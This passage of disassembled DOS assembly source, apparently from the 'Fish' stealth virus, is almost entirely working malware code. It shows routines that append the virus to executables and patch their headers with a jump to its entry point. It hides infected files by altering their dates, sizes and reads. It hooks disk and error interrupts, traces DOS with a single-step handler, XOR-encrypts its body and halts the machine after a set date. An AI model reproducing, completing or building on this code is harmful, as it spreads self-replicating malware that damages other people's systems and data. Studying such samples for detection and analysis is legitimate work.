jmp short loc_65 ; (07E6)
loc_64:
cmp si,0F00h
jae loc_65 ; Jump if above or =
mov ax,buffer ; (cs:0E00=0)
mov data_23,ax ; (cs:0004=0FBE9h)
add dx,ax
mov ax,buffer+2 ; (cs:0E02=0)
mov data_24,ax ; (cs:0006=0)
add dx,ax
mov ax,buffer+4 ; (cs:0E04=0)
mov data_26,ax ; (cs:0008=0)
not ax
add dx,ax ; Calc checksum
jz loc_65 ; Infected ?
mov ax,file_attr ; (cs:0EF2=0)
and al,4
jnz loc_65 ; Jump if not zero
mov cl,0E9h ; 'Jmp' opcode
mov ax,10h
mov byte ptr buffer,cl ; (cs:0E00=0)
mul si ; dx:ax = reg * ax
add ax,offset virus_entry - 3
mov word ptr buffer+1,ax ; (cs:0E01=0)
mov ax,buffer ; (cs:0E00=0)
add ax,buffer+2 ; (cs:0E02=0)
neg ax
not ax
mov data_43,ax ; (cs:0E04=0)
call sub_17 ; (0866)
loc_65:
mov ah,3Eh ; Close a file with handle BX
call sub_1 ; Call INT 21
mov cx,cs:file_attr ; (cs:0EF2)
mov ax,4301h ; Put file attributes
mov dx,cs:data_103 ; (cs:0EF4=0)
mov ds,cs:data_104 ; (cs:0EF6=7DBCh)
call sub_1 ; Call INT 21
call sub_28 ; Restore INT 13 and INT 24
retn
sub_15 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_16 proc near
push cs
mov ax,5700h ; Get file's date/time
pop ds
call sub_1 ; Call INT 21
mov data_54,cx ; (cs:0E29=0)
mov ax,4200h ; LSEEK at 0:0
mov file_date,dx ; (cs:0E2B=0)
xor cx,cx
xor dx,dx
call sub_1 ; Call INT 21
mov ah,3Fh ; Read from file with handle
mov dx,offset buffer
mov cl,1Ch
call sub_1 ; Call INT 21
xor cx,cx
mov ax,4200h ; LSEEK at 0:0
xor dx,dx
call sub_1 ; Call INT 21
mov cl,1Ch
mov ah,3Fh ; Read from file with handle
mov dx,offset data_23
call sub_1 ; Call INT 21
xor cx,cx
mov ax,4202h ; LSEEK at the end
mov dx,cx
call sub_1 ; Call INT 21
mov file_pos1+2,dx ; (cs:0EAB=0)
mov file_pos1,ax ; (cs:0EA9=0)
mov di,ax
add ax,0Fh
adc dx,0
and ax,0FFF0h
sub di,ax
mov cx,10h
div cx ; ax,dx rem=dx:ax/reg
mov si,ax
retn
sub_16 endp
db 'PIKE'
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_17 proc near
xor cx,cx
mov ax,4200h ; LSEEK at 0:0
mov dx,cx
call sub_1 ; Call INT 21
mov cl,1Ch
mov ah,40h ; Write to file with handle
mov dx,offset buffer
call sub_1 ; Call INT 21
mov ax,10h
mul si ; dx:ax = reg * ax
mov cx,dx
mov dx,ax
mov ax,4200h ; LSEEK at the end, paragraph alligned
call sub_1 ; Call INT 21
mov cx,offset buffer
xor dx,dx
add cx,di
mov ah,40h ; Write to file with handle
mov byte ptr cs:data_59,1 ; (cs:0E33=0)
push bx
call sub_30 ; (0D79) INFECTION!!!
pop bx
mov cx,data_54 ; (cs:0E29=0)
mov ax,5701h ; Set file's date/time
mov dx,file_date ; (cs:0E2B=0)
test dh,80h
jnz loc_66 ; Year >= 2044 ?
add dh,0C8h ; Year += 100
loc_66: call sub_1 ; Call INT 21
retn
sub_17 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_18 proc near
call sub_5 ; Push all in vir's stack
mov di,dx
add di,0Dh
push ds
pop es
jmp short loc_68 ; (08E0)
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
sub_19:
call sub_5 ; Push all in vir's stack
push ds ; DS:DX points to a file name
pop es
mov cx,50h
mov di,dx
mov bl,0
xor ax,ax ; Zero register
cmp byte ptr [di+1],':'
jne loc_67 ; Jump if not equal
mov bl,[di]
and bl,1Fh
loc_67:
mov cs:drive_num,bl ; (cs:0E28)
repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al
loc_68:
mov ax,[di-3]
and ax,0DFDFh
add ah,al
mov al,[di-4]
and al,0DFh
add al,ah
mov cs:exe_flag,0 ; (cs:0020=0)
cmp al,0DFh
je loc_69 ; Jump if equal
inc cs:exe_flag ; (cs:0020=0)
cmp al,0E2h
jne loc_70 ; Jump if not equal
loc_69:
call sub_4 ; Pop all from vir's stack
clc ; Clear carry flag
retn
db 'MACKEREL'
loc_70:
call sub_4 ; Pop all from vir's stack
stc ; Set carry flag
retn
sub_18 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_20 proc near
push bx
mov ah,51h ; Get PSP segment
call sub_1 ; Call INT 21
mov cs:data_77,bx ; (cs:0EA3=0)
pop bx
retn
sub_20 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_21 proc near
call sub_27 ; (0BD0)
push dx
mov ah,36h ; Get disk space
mov dl,cs:drive_num ; (cs:0E28)
call sub_1 ; Call INT 21
mul cx ; dx:ax = reg * ax
mul bx ; dx:ax = reg * ax
mov bx,dx
pop dx
or bx,bx ; Zero ?
jnz loc_71 ; Jump if not zero
cmp ax,4000h
jb loc_72 ; Jump if below
loc_71:
mov ax,4300h ; Get file attributes
call sub_1 ; Call INT 21
jc loc_72
mov cs:data_103,dx ; (cs:0EF4=0)
mov cs:file_attr,cx ; (cs:0EF2)
mov cs:data_104,ds ; (cs:0EF6=7DBCh)
mov ax,4301h ; Put file attributes
xor cx,cx
call sub_1 ; Call INT 21
cmp byte ptr cs:err_flag,0 ; (cs:0EDA=0)
jne loc_72
mov ax,3D02h ; Open disk file with handle R/W
call sub_1 ; Call INT 21
jc loc_72
mov bx,ax
push bx
mov ah,32h ; Get drive parameter block
mov dl,cs:drive_num ; (cs:0E28)
call sub_1 ; Call INT 21
mov ax,[bx+1Eh]
mov cs:data_98,ax ; (cs:0EEC=0)
pop bx
call sub_28 ; Restore INT 13 and INT 24
retn
loc_72:
xor bx,bx ; Zero register
dec bx
call sub_28 ; Restore INT 13 and INT 24
retn
sub_21 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_22 proc near
push cx
push dx
push ax
mov ax,4400h ; IOCTL - get device info
call sub_1 ; Call INT 21
xor dl,80h
test dl,80h
jz loc_73 ; Jump if zero
mov ax,5700h ; Get file's date/time
call sub_1 ; Call INT 21
test dh,80h
loc_73: pop ax
pop dx
pop cx
retn
sub_22 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_23 proc near
call sub_5 ; Push all in vir's stack
xor cx,cx
mov ax,4201h ; LSEEK at current position
xor dx,dx
call sub_1 ; Call INT 21
mov cs:file_pos+2,dx ; (cs:0EA7=0)
mov cs:file_pos,ax ; (cs:0EA5=0)
mov ax,4202h ; LSEEK at the end
xor cx,cx
xor dx,dx
call sub_1 ; Call INT 21
mov cs:file_pos1+2,dx ; (cs:0EAB=0)
mov cs:file_pos1,ax ; (cs:0EA9=0)
mov ax,4200h ; LSEEK
mov dx,cs:file_pos ; (cs:0EA5=0)
mov cx,cs:file_pos+2 ; (cs:0EA7=0)
call sub_1 ; Call INT 21
call sub_4 ; Pop all from vir's stack
retn
sub_23 endp
db 'FISH'
dos_57: or al,al
jnz loc_77 ; Jump if not zero
and cs:data_85,0FFFEh ; (cs:0EB3=0)
call sub_3 ; Pop flags and registers
call sub_1 ; Call INT 21
jc loc_76 ; Jump if carry Set
test dh,80h
jz loc_75 ; Jump if zero
sub dh,0C8h
loc_75:
jmp loc_27 ; (0322)
loc_76:
or cs:data_85,1 ; (cs:0EB3=0)
jmp loc_27 ; (0322)
loc_77:
cmp al,1
jne loc_81 ; Jump if not equal
and cs:data_85,0FFFEh ; (cs:0EB3=0)
test dh,80h
jz loc_78 ; Jump if zero
sub dh,0C8h
loc_78:
call sub_22 ; (098E)
jz loc_79 ; Jump if zero
add dh,0C8h
loc_79:
call sub_1 ; Call INT 21
mov [bp-4],ax
adc cs:data_85,0 ; (cs:0EB3=0)
jmp dos_0F ; (0381)
dos_42:
cmp al,2
jne loc_81 ; Jump if not equal
call sub_22 ; (098E)
jz loc_81 ; Jump if zero
sub word ptr [bp-0Ah],0E00h
sbb word ptr [bp-8],0
loc_81:
jmp loc_26 ; (031E)
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_24 proc near
call sub_2 ; Push flags and registers
mov ah,2Ah
call sub_1 ; Call INT 21
cmp cx,7C7h
jb loc_82 ; Jump if below
mov ah,9
push cs
pop ds
mov dx,1ABh
call sub_1 ; Call INT 21
hlt ; Halt processor
loc_82:
call sub_3 ; Pop flags and registers
retn
sub_24 endp
dos_3F:
and byte ptr cs:data_85,0FEh ; (cs:0EB3=0)
call sub_22 ; (098E)
jz loc_81 ; Jump if zero
mov cs:buf_adr,dx ; (cs:0EAD=0)
mov cs:data_83,cx ; (cs:0EAF=0)
mov cs:data_84,0 ; (cs:0EB1=0)
call sub_23 ; (09AC)
mov ax,cs:file_pos1 ; (cs:0EA9=0)
mov dx,cs:file_pos1+2 ; (cs:0EAB=0)
sub ax,vir_len
sbb dx,0
sub ax,cs:file_pos ; (cs:0EA5=0)
sbb dx,cs:file_pos+2 ; (cs:0EA7=0)
jns loc_84 ; Jump if not sign
mov word ptr [bp-4],0
jmp loc_43 ; (04DD)
loc_84:
jnz loc_85 ; Jump if not zero
cmp ax,cx
ja loc_85 ; Jump if above
mov cs:data_83,ax ; (cs:0EAF=0)
loc_85:
mov cx,cs:file_pos+2 ; (cs:0EA7=0)
mov dx,cs:file_pos ; (cs:0EA5=0)
or cx,cx ; Zero ?
jnz loc_86 ; Jump if not zero
cmp dx,1Ch
jbe loc_87 ; Jump if below or =
loc_86:
mov dx,cs:buf_adr ; (cs:0EAD=0)
mov ah,3Fh ; Read from file with handle
mov cx,cs:data_83 ; (cs:0EAF=0)
call sub_1 ; Call INT 21
add ax,cs:data_84 ; (cs:0EB1=0)
mov [bp-4],ax
jmp dos_0F ; (0381)
loc_87:
mov di,dx
mov si,dx
add di,cs:data_83 ; (cs:0EAF=0)
cmp di,1Ch
jb loc_88 ; Jump if below
xor di,di ; Zero register
jmp short loc_89 ; (0B02)
db 'TUNA'
loc_88:
sub di,1Ch
neg di
loc_89:
mov ax,dx
mov dx,cs:file_pos1 ; (cs:0EA9=0)
mov cx,cs:file_pos1+2 ; (cs:0EAB=0)
add dx,0Fh
adc cx,0
and dx,0FFF0h
sub dx,vir_end-data_23
sbb cx,0
add dx,ax
adc cx,0
mov ax,4200h
call sub_1 ; Call INT 21
mov cx,1Ch
sub cx,di
sub cx,si
mov ah,3Fh
mov dx,cs:buf_adr ; (cs:0EAD=0)
call sub_1 ; Call INT 21
add cs:buf_adr,ax ; (cs:0EAD=0)
sub cs:data_83,ax ; (cs:0EAF=0)
add cs:data_84,ax ; (cs:0EB1=0)
xor cx,cx ; Zero register
mov ax,4200h
mov dx,1Ch
call sub_1 ; Call INT 21
jmp loc_86 ; (0ACD)
sub_25:
loc_91: and cs:_null__,sp ; (cs:0E31=0)
jmp loc_97 ; (0C97)
dos_4E_4F: and cs:data_85,0FFFEh ; (cs:0EB3=0)
call sub_3 ; Pop flags and registers
call sub_1 ; Call INT 21
call sub_2 ; Push flags and registers
jnc loc_93 ; Jump if carry=0
or cs:data_85,1 ; (cs:0EB3=0)
jmp dos_0F ; (0381)
loc_93:
call sub_14 ; (0515)
test byte ptr [bx+19h],80h
jnz loc_94 ; Jump if not zero
jmp dos_0F ; (0381)
loc_94:
sub word ptr [bx+1Ah],0E00h
sbb word ptr [bx+1Ch],0
sub byte ptr [bx+19h],0C8h
jmp dos_0F ; (0381)
db 0EBh
sub_26:
mov es,old_DS ; (cs:0E45=26Eh)
push es
pop ds
dec byte ptr ds:PSP_0003 ; (026E:0003=0)
mov dx,ds
dec dx
mov ds,dx
mov ax,ds:MCB_0003 ; (026D:0003=2020h)
dec ah
add dx,ax
mov ds:MCB_0003,ax ; (026D:0003=2020h)
pop di
inc dx
mov es,dx
push cs
pop ds
call sub_29 ; (0C97)
db 0A1h
mov si,all_len-2 ; (0FFE)
mov cx,all_len/2
mov di,si
std ; Set direction flag
rep movsw ; Rep when cx >0 Mov [si] to es:[di]
cld ; Clear direction
push es
mov ax,offset loc_4_1
push ax
mov es,cs:old_DS ; (cs:0E45=26Eh)
retf ; Return far
sub_27:
mov byte ptr cs:err_flag,0 ; (cs:0EDA)
call sub_5 ; Push all in vir's stack
push cs
call sub_25 ; (0B57)
db 088h
mov al,13h
pop ds
call sub_9 ; Get INT 13 vector
mov INT_13_prt+2,es ; (cs:0E2F)
mov INT_13_prt,bx ; (cs:0E2D)
mov word ptr old_I13+2,es ; (cs:0E3B=140Bh)
mov dl,2
mov word ptr old_I13,bx ; (cs:0E39=0)
mov byte ptr data_73,dl ; (cs:0E50=0)
call sub_7 ; Set INT 01 to tracer
mov data_93,sp ; (cs:0EDF)
mov data_92,ss ; (cs:0EDD)
push cs
mov ax,offset loc_95 ; 0C29
push ax
mov ax,70h
mov cx,0FFFFh
mov es,ax
xor di,di ; Zero register
mov al,0CBh ; ret far opcode
repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al
dec di
pushf
push es
push di
pushf
pop ax
or ah,1 ; Set TF
push ax
popf
xor ax,ax ; Zero register
jmp dword ptr INT_13_prt ; (cs:0E2D=0)
loc_95:
push cs
pop ds
call sub_29 ; (0C97)
db 08Ch
mov al,13h
mov dx,offset INT_13
call sub_8 ; Set INT 13 vector
mov al,24h
call sub_9 ; Get INT 24 vector
mov word ptr old_I24,bx ; (cs:0E3D)
mov dx,offset INT_24
mov al,24h
mov word ptr old_I24+2,es ; (cs:0E3F)
call sub_8 ; Set INT 24 vector
call sub_4 ; Pop all from vir's stack
retn
sub_28:
call sub_5 ; Push all in vir's stack
lds dx,cs:old_I13 ; (cs:0E39) Load 32 bit ptr
mov al,13h
call sub_8 ; Set INT 13 vector
lds dx,cs:old_I24 ; (cs:0E3D) Load 32 bit ptr
mov al,24h
call sub_8 ; Set INT 24 vector
call sub_4 ; Pop all from vir's stack
retn
int_1: push bp
mov bp,sp
and word ptr [bp+6],0FEFFh
inc word ptr [bp+1Ah]
pop bp
iret
loc_96:
mov cs:data_73,401h ; (cs:0E50=0)
call sub_7 ; Set INT 01 to tracer
call sub_3 ; Pop flags and registers
push ax
mov ax,cs:data_85 ; (cs:0EB3=0)
or ax,100h
push ax
popf
pop ax
pop bp
jmp dword ptr cs:INT_21_ptr ; (cs:0E35=0)
db 089h
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_29 proc near
loc_97:
call sub_2 ; Push flags and registers
mov al,1
mov dx,offset int_1
push cs
pop ds
call sub_8 ; Set INT 01 vector
pushf
pop ax
or ax,100h
push ax
popf
inc ax
mul ax ; dx:ax = reg * ax
aaa ; Ascii adjust
mov _null__,ax ; (cs:0E31=0)
call sub_3 ; Pop flags and registers
retn
sub_29 endp
db 0FFh
tracer: push bp
mov bp,sp
push ax
cmp word ptr [bp+4],0C000h
jae loc_99 ; Jump if above or =
mov ax,cs:data_69 ; (cs:0E47)
cmp [bp+4],ax ; Is it DOS segment?
jbe loc_99 ; Jump if below or =
loc_98: pop ax
pop bp
iret
loc_99:
cmp byte ptr cs:data_73,1 ; (cs:0E50=0)
je loc_101 ; Jump if equal
mov ax,[bp+4]
mov cs:INT_13_prt+2,ax ; (cs:0E2F=SEGMENT)
mov ax,[bp+2]
mov cs:INT_13_prt,ax ; (cs:0E2D=OFFSET)
jb loc_100 ; Jump if below
pop ax
pop bp
mov sp,cs:data_93 ; (cs:0EDF=0)
mov ss,cs:data_92 ; (cs:0EDD=151Ch)
jmp loc_95 ; (0C29)
loc_100:
and word ptr [bp+6],0FEFFh
jmp short loc_98 ; (0CCB)
loc_101:
dec byte ptr cs:data_73+1 ; (cs:0E51)
jnz loc_98
and word ptr [bp+6],0FEFFh ; Stop tracing
call sub_5 ; Push all in vir's stack
call sub_2 ; Push flags and registers
mov ah,2Ch ; Get current time
call sub_1 ; Call INT 21
mov byte ptr cs:[locloop_102+3],dl ; (cs:0D51=5Dh)
mov byte ptr cs:[locloop_103+3],dl ; (cs:0D6E=5Dh)
sub ah,2 ; ah=2A - Get current date
call sub_1 ; Call INT 21
add dh,dl
mov byte ptr cs:[locloop_105+3],dh ; (cs:0D84=15h)
mov byte ptr cs:[locloop_109+3],dh ; (cs:0DDC=15h)
mov al,3
call sub_9 ; Get INT 03 vector
push es
pop ds
mov dx,bx
mov al,1
call sub_8 ; Set INT 01 vector
call sub_3 ; Pop flags and registers
call sub_6 ; Swap JMP xxxx:xxxx
call sub_4 ; Pop all from vir's stack
push bx
push cx
mov bx,offset data_311 ; (cs:0028=0)
mov cx,287h
locloop_102: xor byte ptr cs:[bx],5Dh
add bx,5
loop locloop_102 ; Loop if cx > 0
pop cx
pop bx
jmp short loc_100 ; (0CF5)
loc_1021: or byte ptr cs:data_311,0 ; (cs:0028=0)
jz loc_104 ; Jump if zero
push bx
push cx
mov bx,offset data_311 ; (cs:0028=0)
mov cx,287h
locloop_103: xor byte ptr cs:[bx],5Dh
add bx,5
loop locloop_103 ; Loop if cx > 0
pop cx
pop bx
loc_104: jmp loc_9 ; (026C)
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_30 proc near
push cx
push bx
mov bx,offset data_311 ; (cs:0028=0)
mov cx,encr_len
locloop_105: xor byte ptr cs:[bx],15h
inc bx
loop locloop_105 ; Loop if cx > 0
pop bx
pop cx
call sub_1 ; Call INT 21
jmp short virus_entry ; (0DCE)
sub_30 endp
db 0BAh
INT_13:
pop cs:usr_adr ; (cs:0E41=0)
pop word ptr cs:usr_adr+2 ; (cs:0E43=0)
pop cs:data_91 ; (cs:0EDB=0)
and cs:data_91,0FFFEh ; (cs:0EDB=0)
cmp byte ptr cs:err_flag,0 ; (cs:0EDA=0)
jne loc_106
push cs:data_91 ; (cs:0EDB=0)
call dword ptr cs:INT_13_prt ; (cs:0E2D=0)
jnc loc_107
inc cs:err_flag ; (cs:0EDA=0)
loc_106: stc ; Set carry flag
loc_107: jmp dword ptr cs:usr_adr ; (cs:0E41=0)
db 089h
INT_24: xor al,al
mov byte ptr cs:err_flag,1 ; (cs:0EDA=0)
iret
virus_entry: call sub_31 ; (0DD1)
sub_31: pop bx
sub bx,sub_31-data_311
mov cx,encr_len
locloop_109: xor byte ptr cs:[bx],15h
inc bx
loop locloop_109 ; Loop if cx > 0
dec byte ptr cs:data_33e[bx] ; (cs:00B3+BX) = cs:0E33
jz loc_ret_110 ; terminate program and don't run the virus ???
jmp loc_7 ; (024A)
loc_ret_110: retn
db ' FISH FISH FISH FISH '
vir_end:
org 0E00h
buffer dw ?
data_41 dw ?
data_43 dw ?, ?
data_44 dw ?
data_45 dw ?
data_46 dw ?
data_47 dw ?
data_48 dw ?, ?
data_49 dw ?
data_50 dw ?
dw 6 dup (?)
data_51 dw ?, ?
drive_num db ?
data_54 dw ?
file_date dw ?
INT_13_prt dw ?, ?
_null__ dw ?
data_59 db ?, ?
INT_21_ptr dd ?
old_I13 dd ?
old_I24 dd ?
usr_adr dw ?, ?
old_DS dw ?
data_69 dw ?
dw ?
data_70 db ?
data_71 dw ?
data_72 dw ?
data_73 dw ?
file_name db 80 dup (?)
data_76 db ?
data_77 dw ?
file_pos dw ?, ?
file_pos1 dw ?, ?
buf_adr dw ?
data_83 dw ?
data_84 dw ?
data_85 dw ?
data_86 db 14 dup (?)
data_87 dw ?
data_88 dd ?
db ?
data_89 db 16 dup (?)
err_flag db ?
data_91 dw ?
data_92 dw ?
data_93 dw ?, ?
old_AX dw ?
db ?
data_95 dw ?
data_96 dw ?
tmp_adr dw ?
data_98 dw ?
db ?
data_99 db ?
data_100 db ?
data_101 db ?
file_attr dw ?
data_103 dw ?
data_104 dw ?
db 7 dup(?)
data_105 dw ?
data_106 dw ?
data_107 dd ?
data_109 db 80 dup (?)
old_SP dw ?
old_SS dw ?
virus_SP dw ?
seg_a ends
end